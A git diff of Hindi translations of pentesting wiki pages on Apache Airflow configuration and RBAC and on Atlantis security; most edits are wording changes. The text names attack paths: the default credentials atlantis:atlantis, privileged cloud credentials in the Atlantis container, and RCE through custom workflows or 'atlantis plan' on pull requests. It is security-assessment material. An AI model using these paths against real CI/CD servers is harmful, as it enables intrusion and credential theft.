- `airflow.api.auth.backend.deny_all`: **डिफ़ॉल्ट रूप से कोई भी** API तक पहुँच नहीं सकता
- `airflow.api.auth.backend.default`: **सभी** बिना प्रमाणीकरण के इसे एक्सेस कर सकते हैं
-- `airflow.api.auth.backend.kerberos_auth`: **केरबेरस प्रमाणीकरण** कॉन्फ़िगर करने के लिए
-- `airflow.api.auth.backend.basic_auth`: **बुनियादी प्रमाणीकरण** के लिए
-- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है ( [**यहां**](https://cloud.google.com/composer/docs/access-airflow-api) से)।
+- `airflow.api.auth.backend.kerberos_auth`: **केर्बेरोस प्रमाणीकरण** कॉन्फ़िगर करने के लिए
+- `airflow.api.auth.backend.basic_auth`: **बेसिक प्रमाणीकरण** के लिए
+- `airflow.composer.api.backend.composer_auth`: कंपोज़र्स प्रमाणीकरण (GCP) का उपयोग करता है (से [**यहाँ**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: यह **भूमिका** को इंगित करता है जो **कंपोज़र उपयोगकर्ता** को **एयरफ्लो** के अंदर मिलेगी (**Op** डिफ़ॉल्ट रूप से)।
-- आप **पायथन** के साथ अपना खुद का प्रमाणीकरण विधि भी **बना सकते हैं**।
+- आप **अपना खुद का प्रमाणीकरण** विधि भी बना सकते हैं पायथन के साथ।
- **`google_key_path`:** **GCP सेवा खाता कुंजी** का पथ
### **\[atlas]**
@@ -39,16 +39,16 @@ config file पढ़ते समय जांचने के लिए कु
- **`flower_basic_auth`** : क्रेडेंशियल (_user1:password1,user2:password2_)
- **`result_backend`**: पोस्टग्रेस यूआरएल जिसमें **क्रेडेंशियल** हो सकते हैं।
-- **`ssl_cacert`**: कैसर्ट का पथ
+- **`ssl_cacert`**: cacert का पथ
- **`ssl_cert`**: प्रमाणपत्र का पथ
- **`ssl_key`**: कुंजी का पथ
### \[core]
-- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` स्ट्रिंग्स नहीं हैं।
+- **`dag_discovery_safe_mode`**: डिफ़ॉल्ट रूप से सक्षम। DAGs की खोज करते समय, किसी भी फ़ाइल को अनदेखा करें जिसमें `DAG` और `airflow` के स्ट्रिंग्स नहीं हैं।
- **`fernet_key`**: एन्क्रिप्टेड वेरिएबल्स को स्टोर करने के लिए कुंजी (संपूर्ण)
-- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएं।
-- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केरबेरस)
+- **`hide_sensitive_var_conn_fields`**: डिफ़ॉल्ट रूप से सक्षम, कनेक्शनों की संवेदनशील जानकारी छिपाएँ।
+- **`security`**: किस सुरक्षा मॉड्यूल का उपयोग करना है (उदाहरण के लिए केर्बेरोस)
### \[dask]
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 80c4c84d6..1ebf49b8a 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,17 +4,17 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**। **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**। लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना।
+(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow डिफ़ॉल्ट रूप से **भूमिकाओं का एक सेट** प्रदान करता है: **Admin**, **User**, **Op**, **Viewer**, और **Public**. **केवल `Admin`** उपयोगकर्ता **अन्य भूमिकाओं के लिए अनुमतियों को कॉन्फ़िगर/बदल सकते हैं**. लेकिन यह अनुशंसित नहीं है कि `Admin` उपयोगकर्ता इन डिफ़ॉल्ट भूमिकाओं को किसी भी तरह से बदलें, जैसे कि इन भूमिकाओं से अनुमतियों को हटाना या जोड़ना.
-- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं।
-- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं।
-- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए)। यह **कॉन्फ़िगरेशन नहीं देख सकता।**
-- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं। वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है।**
-- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं।
+- **`Admin`** उपयोगकर्ताओं के पास सभी संभावित अनुमतियाँ होती हैं.
+- **`Public`** उपयोगकर्ताओं (गुमनाम) के पास कोई अनुमतियाँ नहीं होती हैं.
+- **`Viewer`** उपयोगकर्ताओं के पास सीमित दर्शक अनुमतियाँ होती हैं (केवल पढ़ने के लिए). यह **कॉन्फ़िगरेशन नहीं देख सकता**.
+- **`User`** उपयोगकर्ताओं के पास `Viewer` अनुमतियाँ होती हैं और अतिरिक्त उपयोगकर्ता अनुमतियाँ होती हैं जो उन्हें DAGs को थोड़ा प्रबंधित करने की अनुमति देती हैं. वह **कॉन्फ़िगरेशन फ़ाइल देख सकता है**.
+- **`Op`** उपयोगकर्ताओं के पास `User` अनुमतियाँ होती हैं और अतिरिक्त ऑप अनुमतियाँ होती हैं.
-ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं।
+ध्यान दें कि **admin** उपयोगकर्ता **अधिक भूमिकाएँ** बना सकते हैं जिनमें अधिक **सूक्ष्म अनुमतियाँ** होती हैं.
-यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op** ऐसा करने में सक्षम होगा।
+यह भी ध्यान दें कि केवल डिफ़ॉल्ट भूमिका जिसमें **उपयोगकर्ताओं और भूमिकाओं की सूची बनाने की अनुमति है, वह Admin है, न कि Op**.
### Default Permissions
@@ -22,7 +22,7 @@
- **Admin**
-\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Views/Menus पर Permission पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं]
+\[Connections पर हटा सकते हैं, Connections पर पढ़ सकते हैं, Connections पर संपादित कर सकते हैं, Connections पर बना सकते हैं, DAGs पर पढ़ सकते हैं, DAGs पर संपादित कर सकते हैं, DAGs पर हटा सकते हैं, DAG Runs पर पढ़ सकते हैं, Task Instances पर पढ़ सकते हैं, Task Instances पर संपादित कर सकते हैं, DAG Runs पर हटा सकते हैं, DAG Runs पर बना सकते हैं, DAG Runs पर संपादित कर सकते हैं, Audit Logs पर पढ़ सकते हैं, ImportError पर पढ़ सकते हैं, Pools पर हटा सकते हैं, Pools पर पढ़ सकते हैं, Pools पर संपादित कर सकते हैं, Pools पर बना सकते हैं, Providers पर पढ़ सकते हैं, Variables पर हटा सकते हैं, Variables पर पढ़ सकते हैं, Variables पर संपादित कर सकते हैं, Variables पर बना सकते हैं, XComs पर पढ़ सकते हैं, DAG Code पर पढ़ सकते हैं, Configurations पर पढ़ सकते हैं, Plugins पर पढ़ सकते हैं, Roles पर पढ़ सकते हैं, Permissions पर पढ़ सकते हैं, Roles पर हटा सकते हैं, Roles पर संपादित कर सकते हैं, Roles पर बना सकते हैं, Users पर पढ़ सकते हैं, Users पर बना सकते हैं, Users पर संपादित कर सकते हैं, Users पर हटा सकते हैं, DAG Dependencies पर पढ़ सकते हैं, Jobs पर पढ़ सकते हैं, My Password पर पढ़ सकते हैं, My Password पर संपादित कर सकते हैं, My Profile पर पढ़ सकते हैं, My Profile पर संपादित कर सकते हैं, SLA Misses पर पढ़ सकते हैं, Task Logs पर पढ़ सकते हैं, Website पर पढ़ सकते हैं, Browse पर मेनू एक्सेस, DAG Dependencies पर मेनू एक्सेस, DAG Runs पर मेनू एक्सेस, Documentation पर मेनू एक्सेस, Docs पर मेनू एक्सेस, Jobs पर मेनू एक्सेस, Audit Logs पर मेनू एक्सेस, Plugins पर मेनू एक्सेस, SLA Misses पर मेनू एक्सेस, Task Instances पर मेनू एक्सेस, Task Instances पर बना सकते हैं, Task Instances पर हटा सकते हैं, Admin पर मेनू एक्सेस, Configurations पर मेनू एक्सेस, Connections पर मेनू एक्सेस, Pools पर मेनू एक्सेस, Variables पर मेनू एक्सेस, XComs पर मेनू एक्सेस, XComs पर हटा सकते हैं, Task Reschedules पर पढ़ सकते हैं, Task Reschedules पर मेनू एक्सेस, Triggers पर पढ़ सकते हैं, Triggers पर मेनू एक्सेस, Passwords पर पढ़ सकते हैं, Passwords पर संपादित कर सकते हैं, List Users पर मेनू एक्सेस, Security पर मेनू एक्सेस, List Roles पर मेनू एक्सेस, User Stats Chart पर पढ़ सकते हैं, User's Statistics पर मेनू एक्सेस, Base Permissions पर मेनू एक्सेस, View Menus पर पढ़ सकते हैं, Views/Menus पर मेनू एक्सेस, Permission Views पर पढ़ सकते हैं, Permission on Views/Menus पर मेनू एक्सेस, MenuApi पर प्राप्त कर सकते हैं, Providers पर मेनू एक्सेस, XComs पर बना सकते हैं]
- **Op**
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 6df4f17e7..15957ebb4 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -10,27 +10,27 @@ Atlantis मूल रूप से आपको आपके git सर्व
### Local Lab
-1. **atlantis releases page** पर जाएं [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) और **डाउनलोड** करें जो आपके लिए उपयुक्त हो।
-2. अपने **github** उपयोगकर्ता का **व्यक्तिगत टोकन** (repo एक्सेस के साथ) बनाएं।
-3. `./atlantis testdrive` चलाएं और यह एक **डेमो repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**।
-1. आप 127.0.0.1:4141 में वेब पृष्ठ तक पहुँच सकते हैं।
+1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) पर **atlantis releases page** पर जाएं और **download** करें जो आपके लिए उपयुक्त हो।
+2. अपने **github** उपयोगकर्ता का **personal token** (repo access के साथ) बनाएं।
+3. `./atlantis testdrive` चलाएं और यह एक **demo repo** बनाएगा जिसका आप **atlantis से बात करने के लिए उपयोग कर सकते हैं**।
+1. आप 127.0.0.1:4141 पर वेब पृष्ठ तक पहुँच सकते हैं।
### Atlantis Access
#### Git Server Credentials
**Atlantis** कई git होस्ट जैसे **Github**, **Gitlab**, **Bitbucket** और **Azure DevOps** का समर्थन करता है।\
-हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **विशेषाधिकार प्राप्त एक्सेस की आवश्यकता होती है** (कम से कम लिखने की अनुमति)।\
+हालांकि, इन प्लेटफार्मों में repos तक पहुँचने और क्रियाएँ करने के लिए, इसे कुछ **privileged access granted to them** (कम से कम लिखने की अनुमति) की आवश्यकता होती है।\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) इन प्लेटफार्मों में Atlantis के लिए विशेष रूप से एक उपयोगकर्ता बनाने की सिफारिश करते हैं, लेकिन कुछ लोग व्यक्तिगत खातों का उपयोग कर सकते हैं।
> [!WARNING]
-> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis खाता** एक बहुत ही **दिलचस्प** **समझौता करने के लिए** होगा।
+> किसी भी मामले में, एक हमलावर के दृष्टिकोण से, **Atlantis account** एक बहुत ही **दिलचस्प** **compromise करने के लिए** होगा।
#### Webhooks
-Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **वैध** हैं।
+Atlantis वैकल्पिक रूप से [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) का उपयोग करता है ताकि यह सत्यापित किया जा सके कि आपके Git होस्ट से प्राप्त **webhooks** **legitimate** हैं।
-इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को अनुमति दें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।
+इसकी पुष्टि करने का एक तरीका यह होगा कि **केवल आपके Git होस्ट के IPs से आने के लिए अनुरोधों को allowlist करें**, लेकिन एक आसान तरीका Webhook Secret का उपयोग करना है।
ध्यान दें कि जब तक आप एक निजी github या bitbucket सर्वर का उपयोग नहीं करते, आपको वेबहुक एंडपॉइंट्स को इंटरनेट पर उजागर करने की आवश्यकता होगी।
@@ -41,71 +41,71 @@ Atlantis वैकल्पिक रूप से [**Webhook secrets**](https:/
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **चलाकर** चलाता है जिस पर **Atlantis होस्ट किया गया है**। जैसे ही आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।
+Atlantis Terraform को बस **`terraform plan` और `apply`** कमांड्स को सर्वर पर **जहाँ Atlantis होस्ट किया गया है** चलाकर चलाता है। ठीक उसी तरह जैसे आप स्थानीय रूप से Terraform चलाते हैं, Atlantis को आपके विशेष प्रदाता के लिए क्रेडेंशियल्स की आवश्यकता होती है।
-यह आपके ऊपर है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [क्रेडेंशियल्स कैसे प्रदान करते हैं](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info):
+यह आप पर निर्भर करता है कि आप Atlantis के लिए अपने विशेष प्रदाता के लिए [credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) कैसे प्रदान करते हैं:
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) और [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) के पास प्रदाता क्रेडेंशियल्स के लिए अपने स्वयं के तंत्र हैं। उनके दस्तावेज़ पढ़ें।
- यदि आप Atlantis को एक क्लाउड में चला रहे हैं तो कई क्लाउड में उन पर चलने वाले अनुप्रयोगों को क्लाउड API एक्सेस देने के तरीके हैं, जैसे:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) ( "EC2 Role" के लिए खोजें)
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहां Atlantis चल रहा है।
-- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहां Atlantis चल रहा है।
+- कई उपयोगकर्ता पर्यावरण चर सेट करते हैं, जैसे। `AWS_ACCESS_KEY`, जहाँ Atlantis चल रहा है।
+- अन्य आवश्यक कॉन्फ़िग फ़ाइलें बनाते हैं, जैसे। `~/.aws/credentials`, जहाँ Atlantis चल रहा है।
- प्रदाता क्रेडेंशियल्स प्राप्त करने के लिए [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) का उपयोग करें।
> [!WARNING]
-> **Container** जहां **Atlantis** **चल रहा है** उसमें उच्च संभावना है कि **विशेषाधिकार प्राप्त क्रेडेंशियल्स** हों प्रदाताओं (AWS, GCP, Github...) के लिए जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।
+> **Container** जहाँ **Atlantis** **चल रहा है** संभवतः **privileged credentials** को प्रदाताओं (AWS, GCP, Github...) के लिए **contain** करेगा जिन्हें Atlantis Terraform के माध्यम से प्रबंधित कर रहा है।
#### Web Page
-डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost में पोर्ट 4141 पर चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।
+डिफ़ॉल्ट रूप से Atlantis एक **वेब पृष्ठ को localhost पर पोर्ट 4141 में चलाएगा**। यह पृष्ठ आपको atlantis apply को सक्षम/अक्षम करने और repos की योजना की स्थिति की जांच करने और उन्हें अनलॉक करने की अनुमति देता है (यह चीजों को संशोधित करने की अनुमति नहीं देता, इसलिए यह इतना उपयोगी नहीं है)।
आप शायद इसे इंटरनेट पर उजागर नहीं पाएंगे, लेकिन ऐसा लगता है कि डिफ़ॉल्ट रूप से **इस तक पहुँचने के लिए कोई क्रेडेंशियल्स की आवश्यकता नहीं है** (और यदि हैं तो `atlantis`:`atlantis` **डिफ़ॉल्ट** हैं)।
### Server Configuration
-`atlantis server` के लिए कॉन्फ़िगरेशन को कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों के मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।
+`atlantis server` के लिए कॉन्फ़िगरेशन कमांड लाइन फ्लैग, पर्यावरण चर, एक कॉन्फ़िग फ़ाइल या तीनों का मिश्रण के माध्यम से निर्दिष्ट किया जा सकता है।
- आप [**यहाँ फ्लैग की सूची**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) पा सकते हैं जो Atlantis सर्वर द्वारा समर्थित हैं।
-- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित करें**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- आप [**यहाँ जान सकते हैं कि एक कॉन्फ़िग विकल्प को env var में कैसे परिवर्तित किया जाए**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)।
मान मानने का **यह क्रम** है:
-1. फ्लैग
-2. पर्यावरण चर
-3. कॉन्फ़िग फ़ाइल
+1. Flags
+2. Environment Variables
+3. Config File
> [!WARNING]
> ध्यान दें कि कॉन्फ़िगरेशन में आप **tokens और passwords** जैसे दिलचस्प मान पा सकते हैं।
#### Repos Configuration
-कुछ कॉन्फ़िगरेशन **कैसे repos का प्रबंधन किया जाता है** को प्रभावित करते हैं। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:
+कुछ कॉन्फ़िगरेशन **repos के प्रबंधन के तरीके को प्रभावित करते हैं**। हालाँकि, यह संभव है कि **प्रत्येक repo को विभिन्न सेटिंग्स की आवश्यकता हो**, इसलिए प्रत्येक repo को निर्दिष्ट करने के तरीके हैं। यह प्राथमिकता क्रम है:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) फ़ाइल। इस फ़ाइल का उपयोग यह निर्दिष्ट करने के लिए किया जा सकता है कि atlantis को repo के साथ कैसे व्यवहार करना चाहिए। हालाँकि, डिफ़ॉल्ट रूप से कुछ कुंजियाँ यहाँ निर्दिष्ट नहीं की जा सकती हैं बिना कुछ फ्लैग्स की अनुमति के।
1. शायद `allowed_overrides` या `allow_custom_workflows` जैसे फ्लैग्स द्वारा अनुमति दी जानी चाहिए।
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला एक yaml है (regexes समर्थित)।
-3. **डिफ़ॉल्ट** मान
+2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): आप इसे फ्लैग `--repo-config` के साथ पास कर सकते हैं और यह प्रत्येक repo के लिए नई सेटिंग्स को कॉन्फ़िगर करने वाला yaml है (regexes समर्थित)।
+3. **Default** मान।
**PR Protections**
-Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (यहां तक कि यदि वह शाखा सुरक्षा में सेट नहीं है) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।
+Atlantis यह संकेत करने की अनुमति देता है कि क्या आप चाहते हैं कि **PR** को किसी और द्वारा **`approved`** किया जाए (भले ही वह शाखा सुरक्षा में सेट न हो) और/या **`mergeable`** (शाखा सुरक्षा पास की गई) **apply चलाने से पहले**। सुरक्षा के दृष्टिकोण से, दोनों विकल्प सेट करना अनुशंसित है।
-यदि `allowed_overrides` सत्य है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**।
+यदि `allowed_overrides` True है, तो ये सेटिंग्स **प्रत्येक प्रोजेक्ट पर `/atlantis.yml` फ़ाइल द्वारा ओवरराइट की जा सकती हैं**।
**Scripts**
-Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स** को चलाने के लिए [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) निर्दिष्ट कर सकता है जब एक **workflow निष्पादित होता है।**
+Repo कॉन्फ़िगरेशन **स्क्रिप्ट्स को निर्दिष्ट कर सकता है** [**पहले**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) और [**बाद में**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) एक **workflow के निष्पादन के लिए।**
-इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **निर्दिष्ट** करने की कोई विकल्प नहीं है।
+इन स्क्रिप्ट्स को **repo `/atlantis.yml`** फ़ाइल में **specify** करने की कोई विकल्प नहीं है।
**Workflow**
-Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow निर्दिष्ट कर सकते हैं**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), या [**नए कस्टम workflows बनाएं**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**।** आप यह भी **निर्दिष्ट** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच सकते हैं**।\
-फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **उपयोग करने के लिए workflow निर्दिष्ट करने की अनुमति दे सकते हैं।**
+Repo कॉन्फ़िगरेशन (सर्वर साइड कॉन्फ़िगरेशन) में आप [**एक नया डिफ़ॉल्ट workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) निर्दिष्ट कर सकते हैं, या [**नई कस्टम workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)** बना सकते हैं।** आप यह भी **specify** कर सकते हैं कि कौन से **repos** **नए** उत्पन्न किए गए ones तक **पहुँच** सकते हैं।\
+फिर, आप प्रत्येक repo के **atlantis.yaml** फ़ाइल को **workflow का उपयोग करने के लिए निर्दिष्ट करने की अनुमति दे सकते हैं।**
> [!CAUTION]
-> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo की **`atlantis.yaml`** फ़ाइल में **निर्दिष्ट** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए निर्दिष्ट करे कि किस workflow का उपयोग किया जाने वाला है।\
+> यदि [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) फ्लैग `allow_custom_workflows` को **True** पर सेट किया गया है, तो workflows को प्रत्येक repo के **`atlantis.yaml`** फ़ाइल में **specify** किया जा सकता है। यह भी संभावित रूप से आवश्यक है कि **`allowed_overrides`** **`workflow`** को **override करने के लिए भी निर्दिष्ट करे जो उपयोग किया जाने वाला है।\
> यह मूल रूप से **Atlantis सर्वर में RCE किसी भी उपयोगकर्ता को देगा जो उस repo तक पहुँच सकता है**।
>
> ```yaml
@@ -126,14 +126,14 @@ Repo कॉन्फ़िगरेशन (सर्वर साइड कॉ
**Conftest Policy Checking**
-Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **नीतियों** को योजना आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग मामलों में शामिल हैं:
+Atlantis **server-side** [**conftest**](https://www.conftest.dev/) **policies** को योजना के आउटपुट के खिलाफ चलाने का समर्थन करता है। इस चरण का सामान्य उपयोग के मामले में शामिल हैं:
- मॉड्यूल की एक सूची के उपयोग को अस्वीकार करना
- निर्माण के समय एक संसाधन के गुणों का दावा करना
- अनजाने में संसाधन हटाने को पकड़ना
- सुरक्षा जोखिमों को रोकना (जैसे। सार्वजनिक रूप से सुरक्षित पोर्ट को उजागर करना)
-आप इसे कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में।
+आप इसे [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) में कॉन्फ़िगर करने के तरीके की जांच कर सकते हैं।
### Atlantis Commands
@@ -174,7 +174,7 @@ atlantis plan -- -lock=false
यदि आपके पास एक रिपॉजिटरी पर लिखने की अनुमति है, तो आप उस पर एक नई शाखा बना सकेंगे और एक PR उत्पन्न कर सकेंगे। यदि आप **`atlantis plan`** **को निष्पादित कर सकते हैं (या शायद यह स्वचालित रूप से निष्पादित होता है)**, **तो आप Atlantis सर्वर के अंदर RCE कर सकेंगे**।
